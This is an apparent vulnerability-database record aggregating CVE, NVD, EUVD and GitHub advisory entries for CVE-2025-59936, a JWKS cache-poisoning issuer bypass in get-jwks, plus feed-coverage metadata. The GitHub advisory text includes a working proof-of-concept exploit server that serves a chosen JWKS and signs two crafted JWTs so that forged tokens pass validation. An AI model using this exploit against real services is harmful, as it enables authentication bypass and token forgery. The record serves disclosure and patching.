{"id":"GHSA-qc2q-qhf3-235m","revision":null,"records":[{"revision":"30697544b537451bb053953f571b19f7","observedAt":"2026-10-23T15:48:27.903+00:00","statement":{"source":"cve-program","id":"CVE-2025-59936","aliases":[],"title":"get-jwks poisoned JWKS cache allows post-fetch issuer validation bypass","description":"get-jwks contains fetch utils for JWKS keys. In versions prior to 11.0.2, a vulnerability in get-jwks can lead to cache poisoning in the JWKS key-fetching mechanism. When the iss (issuer) claim is validated only after keys are retrieved from the cache, it is possible for cached keys from an unexpected issuer to be reused, resulting in a bypass of issuer validation. This design flaw enables a potential attack where a malicious actor crafts a pair of JWTs, the first one ensuring that a chosen public key is fetched and stored in the shared JWKS cache, and the second one leveraging that cached key to pass signature validation for a targeted iss value. The vulnerability will work only if the iss validation is done after the use of get-jwks for keys retrieval. This issue has been patched in version 11.0.2.","state":0,"publishedAt":"2025-09-27T00:22:10.412+00:00","modifiedAt":"2025-09-29T14:55:22.162+00:00","affected":[{"ecosystem":"Vendor product","name":"get-jwks","ranges":[],"versions":[],"rawVersionEvidence":"{\n                    \"vendor\": \"nearform\",\n                    \"product\": \"get-jwks\",\n                    \"versions\": [\n                        {\n                            \"version\": \"< 11.0.2\",\n                            \"status\": \"affected\"\n                        }\n                    ]\n                }"}],"metrics":[{"system":"CVSS 3.0","vector":"CVSS:3.0/AV:N/AC:L/PR:N/UI:N/S:U/C:H/I:H/A:L","score":9.4,"severity":"CRITICAL"}],"references":["https://github.com/nearform/get-jwks/security/advisories/GHSA-qc2q-qhf3-235m","https://github.com/nearform/get-jwks/commit/1706a177a80a1759fe68e3339dc5a219ce03ddb9"],"sourceUrl":"https://www.cve.org/CVERecord?id=CVE-2025-59936","license":"CVE Program Terms of Use","key":"cve-program:CVE-2025-59936","identifiers":["CVE-2025-59936"]},"retained":false,"historicalAffected":[]},{"revision":"1e201d4e98824a37a54d4a5ad87c8b03","observedAt":"2026-11-09T03:16:00.55+00:00","statement":{"source":"euvd","id":"EUVD-2025-31349","aliases":["CVE-2025-59936","GHSA-qc2q-qhf3-235m"],"title":"get-jwks contains fetch utils for JWKS keys. In versions prior to 11.0.2, a vulnerability in get-jwks can lead to cache poisoning in the JWKS key-fetching mechanism. When the iss (issuer) claim is validated only after keys are retrieved fro…","description":"get-jwks contains fetch utils for JWKS keys. In versions prior to 11.0.2, a vulnerability in get-jwks can lead to cache poisoning in the JWKS key-fetching mechanism. When the iss (issuer) claim is validated only after keys are retrieved from the cache, it is possible for cached keys from an unexpected issuer to be reused, resulting in a bypass of issuer validation. This design flaw enables a potential attack where a malicious actor crafts a pair of JWTs, the first one ensuring that a chosen public key is fetched and stored in the shared JWKS cache, and the second one leveraging that cached key to pass signature validation for a targeted iss value. The vulnerability will work only if the iss validation is done after the use of get-jwks for keys retrieval. This issue has been patched in version 11.0.2.","state":0,"publishedAt":null,"modifiedAt":null,"affected":[],"metrics":[{"system":"EUVD CVSS 3.0","vector":"CVSS:3.0/AV:N/AC:L/PR:N/UI:N/S:U/C:H/I:H/A:L","score":9.4,"severity":null}],"references":["https://github.com/nearform/get-jwks/security/advisories/GHSA-qc2q-qhf3-235m","https://github.com/nearform/get-jwks/commit/1706a177a80a1759fe68e3339dc5a219ce03ddb9"],"sourceUrl":"https://euvd.enisa.europa.eu/vulnerability/EUVD-2025-31349","license":"ENISA EUVD · source terms and attribution apply","enrichment":{"sourceStatus":null,"weaknesses":[],"productCriteria":[],"sourceDates":{"datePublished":"Sep 27, 2025, 12:22:10 AM","dateUpdated":"Sep 29, 2025, 2:55:22 PM"},"relatedAdvisories":[],"note":"EUVD source date text has no stated timezone and is retained without inventing a UTC instant. Related bulletin membership is not an alias, common cause or applicability claim. A missing vector with a zero score is treated as unrated. Complete vendor/product and underlying source evidence remains in the original JSON."},"key":"euvd:EUVD-2025-31349","identifiers":["EUVD-2025-31349","CVE-2025-59936","GHSA-qc2q-qhf3-235m"]},"retained":false,"historicalAffected":[]},{"revision":"129ce27113ff49d9bec514d27cf4eccf","observedAt":"2026-10-25T03:17:27.277+00:00","statement":{"source":"nvd","id":"CVE-2025-59936","aliases":[],"title":"get-jwks contains fetch utils for JWKS keys. In versions prior to 11.0.2, a vulnerability in get-jwks can lead to cache poisoning in the JWKS key-fetching mechanism. When the iss (issuer) claim is validated only after keys are retrieved fro…","description":"get-jwks contains fetch utils for JWKS keys. In versions prior to 11.0.2, a vulnerability in get-jwks can lead to cache poisoning in the JWKS key-fetching mechanism. When the iss (issuer) claim is validated only after keys are retrieved from the cache, it is possible for cached keys from an unexpected issuer to be reused, resulting in a bypass of issuer validation. This design flaw enables a potential attack where a malicious actor crafts a pair of JWTs, the first one ensuring that a chosen public key is fetched and stored in the shared JWKS cache, and the second one leveraging that cached key to pass signature validation for a targeted iss value. The vulnerability will work only if the iss validation is done after the use of get-jwks for keys retrieval. This issue has been patched in version 11.0.2.","state":0,"publishedAt":"2025-09-27T01:15:43.59+00:00","modifiedAt":"2026-10-09T10:10:00.193+00:00","affected":[],"metrics":[{"system":"CVSS 3.0 · security-advisories@github.com · Secondary","vector":"CVSS:3.0/AV:N/AC:L/PR:N/UI:N/S:U/C:H/I:H/A:L","score":9.4,"severity":"CRITICAL"}],"references":["https://github.com/nearform/get-jwks/commit/1706a177a80a1759fe68e3339dc5a219ce03ddb9","https://github.com/nearform/get-jwks/security/advisories/GHSA-qc2q-qhf3-235m"],"sourceUrl":"https://nvd.nist.gov/vuln/detail/CVE-2025-59936","license":"NIST NVD usage terms; underlying source attribution retained","enrichment":{"sourceStatus":"Deferred","weaknesses":["CWE-116"],"productCriteria":[],"sourceDates":{"published":"2025-09-27T01:15:43.590","lastModified":"2026-10-09T10:10:00.193"},"relatedAdvisories":[],"note":"NVD analysis and CPE criteria are source context, not proof that a package or your environment is affected. Complete affected data, logical configurations and SSVC are retained in the original JSON."},"key":"nvd:CVE-2025-59936","identifiers":["CVE-2025-59936"]},"retained":false,"historicalAffected":[]},{"revision":"ea984b2d4da84fffa0efbb5c0fc33485","observedAt":"2026-10-24T13:17:17.793+00:00","statement":{"source":"osv","id":"GHSA-qc2q-qhf3-235m","aliases":["CVE-2025-59936"],"title":"get-jwks: poisoned JWKS cache allows post-fetch issuer validation bypass","description":"### Summary\nA vulnerability in `get-jwks` can lead to cache poisoning in the JWKS key-fetching mechanism. \n\n### Details\nWhen the `iss` (issuer) claim is validated only after keys are retrieved from the cache, it is possible for cached keys from an unexpected issuer to be reused, resulting in a bypass of issuer validation. This design flaw enables a potential attack where a malicious actor crafts a pair of JWTs, the first one ensuring that a chosen public key is fetched and stored in the shared JWKS cache, and the second one leveraging that cached key to pass signature validation for a targeted `iss` value.\n\nThe vulnerability will work only if the `iss` validation is done after the use of `get-jwks` for keys retrieval, which usually is the common case. \n\n### PoC\nServer code:\n\n```js\nconst express = require('express')\nconst buildJwks = require('get-jwks')\nconst { createVerifier } = require('fast-jwt')\n\nconst jwks = buildJwks({ providerDiscovery: true });\nconst keyFetcher = async (jwt) =>\n    jwks.getPublicKey({\n        kid: jwt.header.kid,\n        alg: jwt.header.alg,\n        domain: jwt.payload.iss\n    });\n\nconst jwtVerifier = createVerifier({\n    key: keyFetcher,\n    allowedIss: 'https://example.com',\n});\n\nconst app = express();\nconst port = 3000;\n\napp.use(express.json());\n\nasync function verifyToken(req, res, next) {\n  const headerAuth = req.headers.authorization.split(' ')\n  let token = '';\n  if (headerAuth.length > 1) {\n    token = headerAuth[1];\n  }\n\n  const payload = await jwtVerifier(token);\n\n  req.decoded = payload;\n  next();\n}\n\n// Endpoint to check if you are auth or not\napp.get('/auth', verifyToken, (req, res) => {\n  res.json(req.decoded);\n});\n\napp.listen(port, () => {\n  console.log(`Server is running on port ${port}`);\n});\n```\n\nExploit server that generates the JWT pair and send the public RSA key to the victim server:\n\n```js\nconst { generateKeyPairSync } = require('crypto');\nconst express = require('express');\nconst pem2jwk = require('pem2jwk');\nconst jwt = require('jsonwebtoken');\n\nconst app = express();\nconst port = 3001;\nconst host = `http://localhost:${port}`;\nconst target_iss = `https://example.com`;\n\nconst { publicKey, privateKey } = generateKeyPairSync(\"rsa\",\n    {   modulusLength: 4096,\n        publicKeyEncoding: { type: 'pkcs1', format: 'pem' },\n        privateKeyEncoding: { type: 'pkcs1', format: 'pem' },\n    },\n);\nconst jwk = pem2jwk(publicKey);\n\napp.use(express.json());\n\n// Endpoint to create cache poisoning token\napp.post('/create-token-1', (req, res) => {\n  const token = jwt.sign({ ...req.body, iss: `${host}/?:${target_iss}`,  }, privateKey, { \n    algorithm: 'RS256', \n    header: {\n        kid: \"testkid\", \n     } });\n  res.send(token);\n});\n\n// Endpoint to create a token with valid iss\napp.post('/create-token-2', (req, res) => {\n    const token = jwt.sign({ ...req.body, iss: target_iss ,  }, privateKey, { algorithm: 'RS256', header: {\n      kid: `testkid:${host}/?`, \n    } });\n    res.send(token);\n  });\n\napp.get('/.well-known/jwks.json', (req, res) => {\n    return res.json({\n        keys: [{\n            ...jwk,\n            kid: 'testkid',\n            alg: 'RS256',\n            use: 'sig',\n        }]\n    });\n})\n\napp.use((req, res) => {\n    return res.json({\n        \"issuer\": host,\n        \"jwks_uri\": host + '/.well-known/jwks.json'\n    });\n});\n\napp.listen(port, () => {\n  console.log(`Server is running on port ${port}`);\n});\n``` \n\nThe first JWT token will create a cache entry with the chosen public key and have the following format:\n\n`RS256:testkid:http://localhost:3001/?:https://example.com`\n\nThe second JWT has a valid `iss`, but will create the exact same cache key as the one before, leading to signature validation with the chosen public key, bypassing any future `iss` validations:\n\n`RS256:testkid:http://localhost:3001/?:https://example.com`\n\n### Impact\nApplications relying on `get-jwks` for key retrieval, even with `iss` validation post-fetching, allows attackers to sign arbitrary payloads which will be accepted by the verifiers used. \n\n### Solution\nEscape each component used in the cache key, so delimiter collisions are impossible.\n\nhttps://github.com/nearform/get-jwks/blob/57801368adf391a32040854863d81748d8ff97ed/src/get-jwks.js#L76","state":0,"publishedAt":"2025-09-26T14:27:01+00:00","modifiedAt":"2025-09-29T14:03:51+00:00","affected":[{"ecosystem":"npm","name":"get-jwks","ranges":[{"type":"SEMVER","events":[{"kind":"introduced","version":"0"},{"kind":"fixed","version":"11.0.2"}]}],"versions":[],"rawVersionEvidence":null}],"metrics":[{"system":"CVSS_V3","vector":"CVSS:3.0/AV:N/AC:L/PR:N/UI:N/S:U/C:H/I:H/A:L","score":null,"severity":null},{"system":"Publisher rating","vector":null,"score":null,"severity":"CRITICAL"}],"references":["https://github.com/nearform/get-jwks/security/advisories/GHSA-qc2q-qhf3-235m","https://nvd.nist.gov/vuln/detail/CVE-2025-59936","https://github.com/nearform/get-jwks/commit/1706a177a80a1759fe68e3339dc5a219ce03ddb9","https://github.com/nearform/get-jwks"],"sourceUrl":"https://github.com/advisories/GHSA-qc2q-qhf3-235m","license":"GitHub Advisory Database · CC-BY-4.0","key":"osv:GHSA-qc2q-qhf3-235m","identifiers":["GHSA-qc2q-qhf3-235m","CVE-2025-59936"]},"retained":false,"historicalAffected":[]}],"coverage":[{"source":"cisa-kev:global","scope":"Complete CISA KEV catalog; all vendors. Missing entries do not establish absence of exploitation.","generation":"2026-11-10T15:24:08.8188023+00:00","complete":true,"records":1773,"lastAttemptAt":"2026-11-10T15:24:08.8188023+00:00","lastSuccessAt":"2026-11-10T15:24:08.9790817+00:00","error":null,"lastVerifiedAt":"2026-11-10T15:24:08.9790869+00:00","snapshotPublishedAt":null,"importing":false,"stagedRecords":0,"checkedIdentifiers":null,"expectedIdentifiers":null,"failedIdentifiers":null},{"source":"cve-program","scope":"Official CVE Program baseline and cumulative hourly delta; all vendors, published and rejected records","generation":"cve-8859cf40d4337e24bd2f258cc7778fbad01bb24c79d057aaf34cf1dfc6f8917d-a0960c299e2dafbb2e8450fb21550287bc0c3b97298514596ae2b1697fb7bc3b","complete":true,"records":422070,"lastAttemptAt":"2026-11-10T15:21:29.3452518+00:00","lastSuccessAt":"2026-11-10T15:21:29.2151501+00:00","error":null,"lastVerifiedAt":"2026-11-10T15:21:29.3452518+00:00","snapshotPublishedAt":"2026-11-10T14:23:49+00:00","importing":false,"stagedRecords":0,"checkedIdentifiers":null,"expectedIdentifiers":null,"failedIdentifiers":null},{"source":"euvd","scope":"Rolling EUVD lookups of CVE aliases in current public OSV archives; 500 identifiers per refresh, rechecked after 48 hours. Not a global EUVD catalog. Successful not-found lookups count as checked; they do not imply withdrawal or safety. No reader inventory is sent.","generation":"enrichment-efc28183efe04e138ba7d91d47b051d0","complete":true,"records":13691,"lastAttemptAt":"2026-11-10T15:25:10.8168504+00:00","lastSuccessAt":"2026-11-10T13:22:39.879+00:00","error":null,"lastVerifiedAt":"2026-11-10T13:22:39.879+00:00","snapshotPublishedAt":null,"importing":false,"stagedRecords":0,"checkedIdentifiers":13744,"expectedIdentifiers":13744,"failedIdentifiers":0},{"source":"first-epss:nuget","scope":"FIRST EPSS for explicit CVE aliases in the collected public NuGet archive. Not a global EPSS backfill.","generation":"2026-11-10T15:24:08.8188023+00:00","complete":true,"records":1096,"lastAttemptAt":"2026-11-10T15:24:08.8188023+00:00","lastSuccessAt":"2026-11-10T15:24:08.9798315+00:00","error":null,"lastVerifiedAt":"2026-11-10T15:24:08.9798317+00:00","snapshotPublishedAt":null,"importing":false,"stagedRecords":0,"checkedIdentifiers":null,"expectedIdentifiers":null,"failedIdentifiers":null},{"source":"nvd","scope":"Rolling NVD lookups of CVE aliases in current public OSV archives; 500 identifiers per refresh, rechecked after 48 hours. Not a global NVD catalog. Successful not-found lookups count as checked; they do not imply withdrawal or safety. No reader inventory is sent.","generation":"enrichment-738cd6499f9748c9890b05108858c833","complete":false,"records":13697,"lastAttemptAt":"2026-11-10T15:25:10.154636+00:00","lastSuccessAt":"2026-11-10T15:25:10.15+00:00","error":"100 identifier lookups failed; latest failures include request timeout. Other identifiers were checked independently.","lastVerifiedAt":"2026-11-10T15:25:10.15+00:00","snapshotPublishedAt":null,"importing":false,"stagedRecords":0,"checkedIdentifiers":13142,"expectedIdentifiers":13744,"failedIdentifiers":100},{"source":"osv:Go","scope":"Complete OSV Go ecosystem archive, including withdrawn and malicious-package source records; statement counts are not unique CVE counts","generation":"go-cdffb4589856378aa42e8d1bd4a6c74e27a180d8160bf764c44715ef760f0a62","complete":true,"records":9932,"lastAttemptAt":"2026-11-10T15:24:08.6813477+00:00","lastSuccessAt":"2026-11-10T00:04:19.8260565+00:00","error":null,"lastVerifiedAt":"2026-11-10T15:24:08.6813477+00:00","snapshotPublishedAt":"2026-11-09T23:48:01+00:00","importing":false,"stagedRecords":0,"checkedIdentifiers":null,"expectedIdentifiers":null,"failedIdentifiers":null},{"source":"osv:NuGet","scope":"Complete OSV NuGet ecosystem archive, including GitHub Advisory Database records; NuGet version matching only","generation":"nuget-26503967ae4379db8f374089589d6e03fb15bd31f820c9e992aaf93840c2236c","complete":true,"records":1971,"lastAttemptAt":"2026-11-10T15:21:29.495451+00:00","lastSuccessAt":"2026-11-09T21:02:20.472473+00:00","error":null,"lastVerifiedAt":"2026-11-10T15:21:29.495451+00:00","snapshotPublishedAt":"2026-11-09T20:18:18+00:00","importing":false,"stagedRecords":0,"checkedIdentifiers":null,"expectedIdentifiers":null,"failedIdentifiers":null},{"source":"osv:crates.io","scope":"Complete OSV crates.io ecosystem archive, including withdrawn and malicious-package source records; statement counts are not unique CVE counts","generation":"crates.io-df497239f2f75af38e095cb498791dad4044a8a9a7f5f0ee6008bb732579ab9d","complete":true,"records":3081,"lastAttemptAt":"2026-11-10T15:24:08.7869291+00:00","lastSuccessAt":"2026-11-10T14:21:34.3717399+00:00","error":null,"lastVerifiedAt":"2026-11-10T15:24:08.7869291+00:00","snapshotPublishedAt":"2026-11-10T14:18:07+00:00","importing":false,"stagedRecords":0,"checkedIdentifiers":null,"expectedIdentifiers":null,"failedIdentifiers":null},{"source":"osv:npm","scope":"Complete OSV npm ecosystem archive, including withdrawn and malicious-package source records; statement counts are not unique CVE counts","generation":"npm-db2f6ba81f9ad8cbb9260cd64e408b90232da96003174aeed666a4ce1c7aabd5","complete":true,"records":231599,"lastAttemptAt":"2026-11-10T15:24:08.5102562+00:00","lastSuccessAt":"2026-11-10T15:24:05.6823404+00:00","error":null,"lastVerifiedAt":"2026-11-10T15:24:08.5102562+00:00","snapshotPublishedAt":"2026-11-10T14:33:27+00:00","importing":false,"stagedRecords":0,"checkedIdentifiers":null,"expectedIdentifiers":null,"failedIdentifiers":null}]}